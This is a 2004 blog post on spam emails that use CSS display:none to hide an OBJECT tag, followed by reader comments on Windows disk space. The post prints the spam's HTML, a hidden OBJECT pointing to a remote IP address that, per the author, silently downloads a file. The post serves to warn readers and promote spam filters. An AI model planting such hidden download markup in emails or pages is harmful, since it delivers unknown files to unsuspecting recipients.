display:none SPAM

The new super cool chic thing to do with SPAM is to use CSS and the display:none property on pretty much every block element known to man, including the ever fun OBJECT tag. Don't get me started on ActiveX, that's another story all together. By the way, this is why you hear so many people, including me, rant to not enable HTML in your email client.

What am I blabbering about? Take a look:

<html><body>

<font face="System">

<OBJECT STYLE="display:none" DATA="http://66.183.208.158:81/497379.php">
</OBJECT>

</body></html>

Since I am the curious type, and I am using a Macintosh (do not try this yourself on a PC running Windows, you have been warned) I actually loaded up that URL. This URL is dead by now, just take my word for it.

This automatically downloaded a file on my Mac. I can only predict what would have happened if I did this on my PC.

SPAM filters need to be updated for this trick. I am not sure if SpamSieve will pick up this trick, but I know for sure the latest version of POPFile (of which I outlined how to install on OS X) will in fact learn and catch this trick. This was one of the major new features.

I need to email the developers of DSPAM and SpamSieve to see if their systems will accurately classify this new trick. I hope they both do.

I have been meaning to write about it, but I have, after many months convinced Digital Partners (DP) to install SPAM blocking software on their mail servers. The amount of SPAM on our BG News lists was getting counterproductive. DP finally decided on DSPAM after conducting research. In short I am very happy with DSPAM. So check out DSPAM!

Originally posted on Breaking Windows.

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Article Author: Ken Edwards

Ken Edwards is the Gaming Editor at Blogcritics, and calls Breaking Windows home. Ken works part time for Student Publications at BGSU as the Webmaster and System Administrator. He is also a freelance web developer.

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Article comments

  • 1 - Dew

    Mar 23, 2004 at 12:25 pm

    Techs of the Blogcritics Community gather!

    I have a 20gig hard drive and it says currently I am using 18.6 ( I only have 1.4 free)of that. I have Windows XP as an Op Sys. When I run Belarc it shows two versions of XP 10 and 6. I want to remove one of these versions to free up space but I am afraid I will remove something I need. My main concern is freeing up space, I can not seem to account for the abundance of space it claims is being used. Is there a program that will tell me what's expendable?

  • 2 - Mark Saleski

    Mar 23, 2004 at 12:33 pm

    the only true solution to windows disc space pigosity is to format your drive and install Red Hat.

    free yourself from bill gates.

  • 3 - Dew

    Mar 23, 2004 at 1:14 pm

    lol, Thanks Mark.

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